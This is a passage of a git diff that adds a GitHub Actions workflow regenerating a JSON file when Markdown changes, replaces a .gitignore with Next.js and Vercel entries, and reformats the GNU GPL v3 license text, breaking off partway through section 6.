diff --git a/.github/workflows/update-json.yml b/.github/workflows/update-json.yml new file mode 100644 index 00000000..1df92d95 --- /dev/null +++ b/.github/workflows/update-json.yml @@ -0,0 +1,34 @@ +name: Update JSON on Markdown Change + +on: + pull_request: + paths: + - '**/*.md' + push: + branches: + - main + - dev + paths: + - '**/*.md' +jobs: + update-json: + runs-on: ubuntu-latest + steps: + - name: Check out repository + uses: actions/checkout@v2 + + - name: Set up Node.js + uses: actions/setup-node@v2 + with: + node-version: '14' + + - name: Run script to update JSON + run: node update_json.js + + - name: Commit and push if changed + run: | + git config --global user.email "actions@github.com" + git config --global user.name "GitHub Actions" + git add -u + git commit -m "Updated JSON file via GitHub Actions" || exit 0 # This will not fail if no changes + git push diff --git a/.gitignore b/.gitignore index 46cee7dc..e3aea502 100644 --- a/.gitignore +++ b/.gitignore @@ -1,6 +1,27 @@ -node_modules/ -.svelte-kit/ -.sveltepress/ -.env + +# dependencies +/node_modules +/.pnp +.pnp.js + +# testing +/coverage + +# next.js +/.next/ +/out/ + +# production +/build + +# misc .DS_Store -.vscode/ \ No newline at end of file +.env +.env.local +.idea + +# debug +npm-debug.log* +yarn-debug.log* +yarn-error.log* +.vercel diff --git a/LICENSE b/LICENSE index 7a602324..7a3b7c2f 100644 --- a/LICENSE +++ b/LICENSE @@ -1,193 +1,635 @@ -GNU GENERAL PUBLIC LICENSE -Version 3, 29 June 2007 - -Copyright © 2007 Free Software Foundation, Inc. - -Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed. - -Preamble -The GNU General Public License is a free, copyleft license for software and other kinds of works. - -The licenses for most software and other practical works are designed to take away your freedom to share and change the works. By contrast, the GNU General Public License is intended to guarantee your freedom to share and change all versions of a program--to make sure it remains free software for all its users. We, the Free Software Foundation, use the GNU General Public License for most of our software; it applies also to any other work released this way by its authors. You can apply it to your programs, too. - -When we speak of free software, we are referring to freedom, not price. Our General Public Licenses are designed to make sure that you have the freedom to distribute copies of free software (and charge for them if you wish), that you receive source code or can get it if you want it, that you can change the software or use pieces of it in new free programs, and that you know you can do these things. - -To protect your rights, we need to prevent others from denying you these rights or asking you to surrender the rights. Therefore, you have certain responsibilities if you distribute copies of the software, or if you modify it: responsibilities to respect the freedom of others. - -For example, if you distribute copies of such a program, whether gratis or for a fee, you must pass on to the recipients the same freedoms that you received. You must make sure that they, too, receive or can get the source code. And you must show them these terms so they know their rights. - -Developers that use the GNU GPL protect your rights with two steps: (1) assert copyright on the software, and (2) offer you this License giving you legal permission to copy, distribute and/or modify it. - -For the developers' and authors' protection, the GPL clearly explains that there is no warranty for this free software. For both users' and authors' sake, the GPL requires that modified versions be marked as changed, so that their problems will not be attributed erroneously to authors of previous versions. - -Some devices are designed to deny users access to install or run modified versions of the software inside them, although the manufacturer can do so. This is fundamentally incompatible with the aim of protecting users' freedom to change the software. The systematic pattern of such abuse occurs in the area of products for individuals to use, which is precisely where it is most unacceptable. Therefore, we have designed this version of the GPL to prohibit the practice for those products. If such problems arise substantially in other domains, we stand ready to extend this provision to those domains in future versions of the GPL, as needed to protect the freedom of users. - -Finally, every program is threatened constantly by software patents. States should not allow patents to restrict development and use of software on general-purpose computers, but in those that do, we wish to avoid the special danger that patents applied to a free program could make it effectively proprietary. To prevent this, the GPL assures that patents cannot be used to render the program non-free. - -The precise terms and conditions for copying, distribution and modification follow. - -TERMS AND CONDITIONS -0. Definitions. -“This License” refers to version 3 of the GNU General Public License. - -“Copyright” also means copyright-like laws that apply to other kinds of works, such as semiconductor masks. - -“The Program” refers to any copyrightable work licensed under this License. Each licensee is addressed as “you”. “Licensees” and “recipients” may be individuals or organizations. - -To “modify” a work means to copy from or adapt all or part of the work in a fashion requiring copyright permission, other than the making of an exact copy. The resulting work is called a “modified version” of the earlier work or a work “based on” the earlier work. - -A “covered work” means either the unmodified Program or a work based on the Program. - -To “propagate” a work means to do anything with it that, without permission, would make you directly or secondarily liable for infringement under applicable copyright law, except executing it on a computer or modifying a private copy. Propagation includes copying, distribution (with or without modification), making available to the public, and in some countries other activities as well. - -To “convey” a work means any kind of propagation that enables other parties to make or receive copies. Mere interaction with a user through a computer network, with no transfer of a copy, is not conveying. - -An interactive user interface displays “Appropriate Legal Notices” to the extent that it includes a convenient and prominently visible feature that (1) displays an appropriate copyright notice, and (2) tells the user that there is no warranty for the work (except to the extent that warranties are provided), that licensees may convey the work under this License, and how to view a copy of this License. If the interface presents a list of user commands or options, such as a menu, a prominent item in the list meets this criterion. - -1. Source Code. -The “source code” for a work means the preferred form of the work for making modifications to it. “Object code” means any non-source form of a work. - -A “Standard Interface” means an interface that either is an official standard defined by a recognized standards body, or, in the case of interfaces specified for a particular programming language, one that is widely used among developers working in that language. - -The “System Libraries” of an executable work include anything, other than the work as a whole, that (a) is included in the normal form of packaging a Major Component, but which is not part of that Major Component, and (b) serves only to enable use of the work with that Major Component, or to implement a Standard Interface for which an implementation is available to the public in source code form. A “Major Component”, in this context, means a major essential component (kernel, window system, and so on) of the specific operating system (if any) on which the executable work runs, or a compiler used to produce the work, or an object code interpreter used to run it. - -The “Corresponding Source” for a work in object code form means all the source code needed to generate, install, and (for an executable work) run the object code and to modify the work, including scripts to control those activities. However, it does not include the work's System Libraries, or general-purpose tools or generally available free programs which are used unmodified in performing those activities but which are not part of the work. For example, Corresponding Source includes interface definition files associated with source files for the work, and the source code for shared libraries and dynamically linked subprograms that the work is specifically designed to require, such as by intimate data communication or control flow between those subprograms and other parts of the work. - -The Corresponding Source need not include anything that users can regenerate automatically from other parts of the Corresponding Source. - -The Corresponding Source for a work in source code form is that same work. - -2. Basic Permissions. -All rights granted under this License are granted for the term of copyright on the Program, and are irrevocable provided the stated conditions are met. This License explicitly affirms your unlimited permission to run the unmodified Program. The output from running a covered work is covered by this License only if the output, given its content, constitutes a covered work. This License acknowledges your rights of fair use or other equivalent, as provided by copyright law. - -You may make, run and propagate covered works that you do not convey, without conditions so long as your license otherwise remains in force. You may convey covered works to others for the sole purpose of having them make modifications exclusively for you, or provide you with facilities for running those works, provided that you comply with the terms of this License in conveying all material for which you do not control copyright. Those thus making or running the covered works for you must do so exclusively on your behalf, under your direction and control, on terms that prohibit them from making any copies of your copyrighted material outside their relationship with you. - -Conveying under any other circumstances is permitted solely under the conditions stated below. Sublicensing is not allowed; section 10 makes it unnecessary. - -3. Protecting Users' Legal Rights From Anti-Circumvention Law. -No covered work shall be deemed part of an effective technological measure under any applicable law fulfilling obligations under article 11 of the WIPO copyright treaty adopted on 20 December 1996, or similar laws prohibiting or restricting circumvention of such measures. - -When you convey a covered work, you waive any legal power to forbid circumvention of technological measures to the extent such circumvention is effected by exercising rights under this License with respect to the covered work, and you disclaim any intention to limit operation or modification of the work as a means of enforcing, against the work's users, your or third parties' legal rights to forbid circumvention of technological measures. - -4. Conveying Verbatim Copies. -You may convey verbatim copies of the Program's source code as you receive it, in any medium, provided that you conspicuously and appropriately publish on each copy an appropriate copyright notice; keep intact all notices stating that this License and any non-permissive terms added in accord with section 7 apply to the code; keep intact all notices of the absence of any warranty; and give all recipients a copy of this License along with the Program. - -You may charge any price or no price for each copy that you convey, and you may offer support or warranty protection for a fee. - -5. Conveying Modified Source Versions. -You may convey a work based on the Program, or the modifications to produce it from the Program, in the form of source code under the terms of section 4, provided that you also meet all of these conditions: - -a) The work must carry prominent notices stating that you modified it, and giving a relevant date. -b) The work must carry prominent notices stating that it is released under this License and any conditions added under section 7. This requirement modifies the requirement in section 4 to “keep intact all notices”. -c) You must license the entire work, as a whole, under this License to anyone who comes into possession of a copy. This License will therefore apply, along with any applicable section 7 additional terms, to the whole of the work, and all its parts, regardless of how they are packaged. This License gives no permission to license the work in any other way, but it does not invalidate such permission if you have separately received it. -d) If the work has interactive user interfaces, each must display Appropriate Legal Notices; however, if the Program has interactive interfaces that do not display Appropriate Legal Notices, your work need not make them do so. -A compilation of a covered work with other separate and independent works, which are not by their nature extensions of the covered work, and which are not combined with it such as to form a larger program, in or on a volume of a storage or distribution medium, is called an “aggregate” if the compilation and its resulting copyright are not used to limit the access or legal rights of the compilation's users beyond what the individual works permit. Inclusion of a covered work in an aggregate does not cause this License to apply to the other parts of the aggregate. - -6. Conveying Non-Source Forms. -You may convey a covered work in object code form under the terms of sections 4 and 5, provided that you also convey the machine-readable Corresponding Source under the terms of this License, in one of these ways: - -a) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by the Corresponding Source fixed on a durable physical medium customarily used for software interchange. -b) Convey the object code in, or embodied in, a physical product (including a physical distribution medium), accompanied by a written offer, valid for at least three years and valid for as long as you offer spare parts or customer support for that product model, to give anyone who possesses the object code either (1) a copy of the Corresponding Source for all the software in the product that is covered by this License, on a durable physical medium customarily used for software interchange, for a price no more than your reasonable cost of physically performing this conveying of source, or (2) access to copy the Corresponding Source from a network server at no charge. -c) Convey individual copies of the object code with a copy of the written offer to provide the Corresponding Source. This alternative is allowed only occasionally and noncommercially, and only if you received the object code with such an offer, in accord with subsection 6b. -d) Convey the object code by offering access from a designated place (gratis or for a charge), and offer equivalent access to the Corresponding Source in the same way through the same place at no further charge. You need not require recipients to copy the Corresponding Source along with the object code. If the place to copy the object code is a network server, the Corresponding Source may be on a different server (operated by you or a third party) that supports equivalent copying facilities, provided you maintain clear directions next to the object code saying where to find the Corresponding Source. Regardless of what server hosts the Corresponding Source, you remain obligated to ensure that it is available for as long as needed to satisfy these requirements. -e) Convey the object code using peer-to-peer transmission, provided you inform other peers where the object code and Corresponding Source of the work are being offered to the general public at no charge under subsection 6d. -A separable portion of the object code, whose source code is excluded from the Corresponding Source as a System Library, need not be included in conveying the object code work. - -A “User Product” is either (1) a “consumer product”, which means any tangible personal property which is normally used for personal, family, or household purposes, or (2) anything designed or sold for incorporation into a dwelling. In determining whether a product is a consumer product, doubtful cases shall be resolved in favor of coverage. For a particular product received by a particular user, “normally used” refers to a typical or common use of that class of product, regardless of the status of the particular user or of the way in which the particular user actually uses, or expects or is expected to use, the product. A product is a consumer product regardless of whether the product has substantial commercial, industrial or non-consumer uses, unless such uses represent the only significant mode of use of the product. - -“Installation Information” for a User Product means any methods, procedures, authorization keys, or other information required to install and execute modified versions of a covered work in that User Product from a modified version of its Corresponding Source. The information must suffice to ensure that the continued functioning of the modified object code is in no case prevented or interfered with solely because modification has been made. - -If you convey an object code work under this section in, or with, or specifically for use in, a User Product, and the conveying occurs as part of a transaction in which the right of possession and use of the User Product is transferred to the recipient in perpetuity or for a fixed term (regardless of how the transaction is characterized), the Corresponding Source conveyed under this section must be accompanied by the Installation Information. But this requirement does not apply if neither you nor any third party retains the ability to install modified object code on the User Product (for example, the work has been installed in ROM). - -The requirement to provide Installation Information does not include a requirement to continue to provide support service, warranty, or updates for a work that has been modified or installed by the recipient, or for the User Product in which it has been modified or installed. Access to a network may be denied when the modification itself materially and adversely affects the operation of the network or violates the rules and protocols for communication across the network. - -Corresponding Source conveyed, and Installation Information provided, in accord with this section must be in a format that is publicly documented (and with an implementation available to the public in source code form), and must require no special password or key for unpacking, reading or copying. - -7. Additional Terms. -“Additional permissions” are terms that supplement the terms of this License by making exceptions from one or more of its conditions. Additional permissions that are applicable to the entire Program shall be treated as though they were included in this License, to the extent that they are valid under applicable law. If additional permissions apply only to part of the Program, that part may be used separately under those permissions, but the entire Program remains governed by this License without regard to the additional permissions. - -When you convey a copy of a covered work, you may at your option remove any additional permissions from that copy, or from any part of it. (Additional permissions may be written to require their own removal in certain cases when you modify the work.) You may place additional permissions on material, added by you to a covered work, for which you have or can give appropriate copyright permission. - -Notwithstanding any other provision of this License, for material you add to a covered work, you may (if authorized by the copyright holders of that material) supplement the terms of this License with terms: - -a) Disclaiming warranty or limiting liability differently from the terms of sections 15 and 16 of this License; or -b) Requiring preservation of specified reasonable legal notices or author attributions in that material or in the Appropriate Legal Notices displayed by works containing it; or -c) Prohibiting misrepresentation of the origin of that material, or requiring that modified versions of such material be marked in reasonable ways as different from the original version; or -d) Limiting the use for publicity purposes of names of licensors or authors of the material; or -e) Declining to grant rights under trademark law for use of some trade names, trademarks, or service marks; or -f) Requiring indemnification of licensors and authors of that material by anyone who conveys the material (or modified versions of it) with contractual assumptions of liability to the recipient, for any liability that these contractual assumptions directly impose on those licensors and authors. -All other non-permissive additional terms are considered “further restrictions” within the meaning of section 10. If the Program as you received it, or any part of it, contains a notice stating that it is governed by this License along with a term that is a further restriction, you may remove that term. If a license document contains a further restriction but permits relicensing or conveying under this License, you may add to a covered work material governed by the terms of that license document, provided that the further restriction does not survive such relicensing or conveying. - -If you add terms to a covered work in accord with this section, you must place, in the relevant source files, a statement of the additional terms that apply to those files, or a notice indicating where to find the applicable terms. - -Additional terms, permissive or non-permissive, may be stated in the form of a separately written license, or stated as exceptions; the above requirements apply either way. - -8. Termination. -You may not propagate or modify a covered work except as expressly provided under this License. Any attempt otherwise to propagate or modify it is void, and will automatically terminate your rights under this License (including any patent licenses granted under the third paragraph of section 11). - -However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation. - -Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice. - -Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, you do not qualify to receive new licenses for the same material under section 10. - -9. Acceptance Not Required for Having Copies. -You are not required to accept this License in order to receive or run a copy of the Program. Ancillary propagation of a covered work occurring solely as a consequence of using peer-to-peer transmission to receive a copy likewise does not require acceptance. However, nothing other than this License grants you permission to propagate or modify any covered work. These actions infringe copyright if you do not accept this License. Therefore, by modifying or propagating a covered work, you indicate your acceptance of this License to do so. - -10. Automatic Licensing of Downstream Recipients. -Each time you convey a covered work, the recipient automatically receives a license from the original licensors, to run, modify and propagate that work, subject to this License. You are not responsible for enforcing compliance by third parties with this License. - -An “entity transaction” is a transaction transferring control of an organization, or substantially all assets of one, or subdividing an organization, or merging organizations. If propagation of a covered work results from an entity transaction, each party to that transaction who receives a copy of the work also receives whatever licenses to the work the party's predecessor in interest had or could give under the previous paragraph, plus a right to possession of the Corresponding Source of the work from the predecessor in interest, if the predecessor has it or can get it with reasonable efforts. - -You may not impose any further restrictions on the exercise of the rights granted or affirmed under this License. For example, you may not impose a license fee, royalty, or other charge for exercise of rights granted under this License, and you may not initiate litigation (including a cross-claim or counterclaim in a lawsuit) alleging that any patent claim is infringed by making, using, selling, offering for sale, or importing the Program or any portion of it. - -11. Patents. -A “contributor” is a copyright holder who authorizes use under this License of the Program or a work on which the Program is based. The work thus licensed is called the contributor's “contributor version”. - -A contributor's “essential patent claims” are all patent claims owned or controlled by the contributor, whether already acquired or hereafter acquired, that would be infringed by some manner, permitted by this License, of making, using, or selling its contributor version, but do not include claims that would be infringed only as a consequence of further modification of the contributor version. For purposes of this definition, “control” includes the right to grant patent sublicenses in a manner consistent with the requirements of this License. - -Each contributor grants you a non-exclusive, worldwide, royalty-free patent license under the contributor's essential patent claims, to make, use, sell, offer for sale, import and otherwise run, modify and propagate the contents of its contributor version. - -In the following three paragraphs, a “patent license” is any express agreement or commitment, however denominated, not to enforce a patent (such as an express permission to practice a patent or covenant not to sue for patent infringement). To “grant” such a patent license to a party means to make such an agreement or commitment not to enforce a patent against the party. - -If you convey a covered work, knowingly relying on a patent license, and the Corresponding Source of the work is not available for anyone to copy, free of charge and under the terms of this License, through a publicly available network server or other readily accessible means, then you must either (1) cause the Corresponding Source to be so available, or (2) arrange to deprive yourself of the benefit of the patent license for this particular work, or (3) arrange, in a manner consistent with the requirements of this License, to extend the patent license to downstream recipients. “Knowingly relying” means you have actual knowledge that, but for the patent license, your conveying the covered work in a country, or your recipient's use of the covered work in a country, would infringe one or more identifiable patents in that country that you have reason to believe are valid. - -If, pursuant to or in connection with a single transaction or arrangement, you convey, or propagate by procuring conveyance of, a covered work, and grant a patent license to some of the parties receiving the covered work authorizing them to use, propagate, modify or convey a specific copy of the covered work, then the patent license you grant is automatically extended to all recipients of the covered work and works based on it. - -A patent license is “discriminatory” if it does not include within the scope of its coverage, prohibits the exercise of, or is conditioned on the non-exercise of one or more of the rights that are specifically granted under this License. You may not convey a covered work if you are a party to an arrangement with a third party that is in the business of distributing software, under which you make payment to the third party based on the extent of your activity of conveying the work, and under which the third party grants, to any of the parties who would receive the covered work from you, a discriminatory patent license (a) in connection with copies of the covered work conveyed by you (or copies made from those copies), or (b) primarily for and in connection with specific products or compilations that contain the covered work, unless you entered into that arrangement, or that patent license was granted, prior to 28 March 2007. - -Nothing in this License shall be construed as excluding or limiting any implied license or other defenses to infringement that may otherwise be available to you under applicable patent law. - -12. No Surrender of Others' Freedom. -If conditions are imposed on you (whether by court order, agreement or otherwise) that contradict the conditions of this License, they do not excuse you from the conditions of this License. If you cannot convey a covered work so as to satisfy simultaneously your obligations under this License and any other pertinent obligations, then as a consequence you may not convey it at all. For example, if you agree to terms that obligate you to collect a royalty for further conveying from those to whom you convey the Program, the only way you could satisfy both those terms and this License would be to refrain entirely from conveying the Program. - -13. Use with the GNU Affero General Public License. -Notwithstanding any other provision of this License, you have permission to link or combine any covered work with a work licensed under version 3 of the GNU Affero General Public License into a single combined work, and to convey the resulting work. The terms of this License will continue to apply to the part which is the covered work, but the special requirements of the GNU Affero General Public License, section 13, concerning interaction through a network will apply to the combination as such. - -14. Revised Versions of this License. -The Free Software Foundation may publish revised and/or new versions of the GNU General Public License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. - -Each version is given a distinguishing version number. If the Program specifies that a certain numbered version of the GNU General Public License “or any later version” applies to it, you have the option of following the terms and conditions either of that numbered version or of any later version published by the Free Software Foundation. If the Program does not specify a version number of the GNU General Public License, you may choose any version ever published by the Free Software Foundation. - -If the Program specifies that a proxy can decide which future versions of the GNU General Public License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Program. - -Later license versions may give you additional or different permissions. However, no additional obligations are imposed on any author or copyright holder as a result of your choosing to follow a later version. - -15. Disclaimer of Warranty. -THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM “AS IS” WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION. - -16. Limitation of Liability. -IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES. - -17. Interpretation of Sections 15 and 16. -If the disclaimer of warranty and limitation of liability provided above cannot be given local legal effect according to their terms, reviewing courts shall apply local law that most closely approximates an absolute waiver of all civil liability in connection with the Program, unless a warranty or assumption of liability accompanies a copy of the Program in return for a fee. - -END OF TERMS AND CONDITIONS - -How to Apply These Terms to Your New Programs -If you develop a new program, and you want it to be of the greatest possible use to the public, the best way to achieve this is to make it free software which everyone can redistribute and change under these terms. - -To do so, attach the following notices to the program. It is safest to attach them to the start of each source file to most effectively state the exclusion of warranty; and each file should have at least the “copyright” line and a pointer to where the full notice is found. + GNU GENERAL PUBLIC LICENSE + Version 3, 29 June 2007 + + Copyright (C) 2007 Free Software Foundation, Inc. + Everyone is permitted to copy and distribute verbatim copies + of this license document, but changing it is not allowed. + + Preamble + + The GNU General Public License is a free, copyleft license for +software and other kinds of works. + + The licenses for most software and other practical works are designed +to take away your freedom to share and change the works. By contrast, +the GNU General Public License is intended to guarantee your freedom to +share and change all versions of a program--to make sure it remains free +software for all its users. We, the Free Software Foundation, use the +GNU General Public License for most of our software; it applies also to +any other work released this way by its authors. You can apply it to +your programs, too. + + When we speak of free software, we are referring to freedom, not +price. Our General Public Licenses are designed to make sure that you +have the freedom to distribute copies of free software (and charge for +them if you wish), that you receive source code or can get it if you +want it, that you can change the software or use pieces of it in new +free programs, and that you know you can do these things. + + To protect your rights, we need to prevent others from denying you +these rights or asking you to surrender the rights. Therefore, you have +certain responsibilities if you distribute copies of the software, or if +you modify it: responsibilities to respect the freedom of others. + + For example, if you distribute copies of such a program, whether +gratis or for a fee, you must pass on to the recipients the same +freedoms that you received. You must make sure that they, too, receive +or can get the source code. And you must show them these terms so they +know their rights. + + Developers that use the GNU GPL protect your rights with two steps: +(1) assert copyright on the software, and (2) offer you this License +giving you legal permission to copy, distribute and/or modify it. + + For the developers' and authors' protection, the GPL clearly explains +that there is no warranty for this free software. For both users' and +authors' sake, the GPL requires that modified versions be marked as +changed, so that their problems will not be attributed erroneously to +authors of previous versions. + + Some devices are designed to deny users access to install or run +modified versions of the software inside them, although the manufacturer +can do so. This is fundamentally incompatible with the aim of +protecting users' freedom to change the software. The systematic +pattern of such abuse occurs in the area of products for individuals to +use, which is precisely where it is most unacceptable. Therefore, we +have designed this version of the GPL to prohibit the practice for those +products. If such problems arise substantially in other domains, we +stand ready to extend this provision to those domains in future versions +of the GPL, as needed to protect the freedom of users. + + Finally, every program is threatened constantly by software patents. +States should not allow patents to restrict development and use of +software on general-purpose computers, but in those that do, we wish to +avoid the special danger that patents applied to a free program could +make it effectively proprietary. To prevent this, the GPL assures that +patents cannot be used to render the program non-free. + + The precise terms and conditions for copying, distribution and +modification follow. + + TERMS AND CONDITIONS + + 0. Definitions. + + "This License" refers to version 3 of the GNU General Public License. + + "Copyright" also means copyright-like laws that apply to other kinds of +works, such as semiconductor masks. + + "The Program" refers to any copyrightable work licensed under this +License. Each licensee is addressed as "you". "Licensees" and +"recipients" may be individuals or organizations. + + To "modify" a work means to copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered 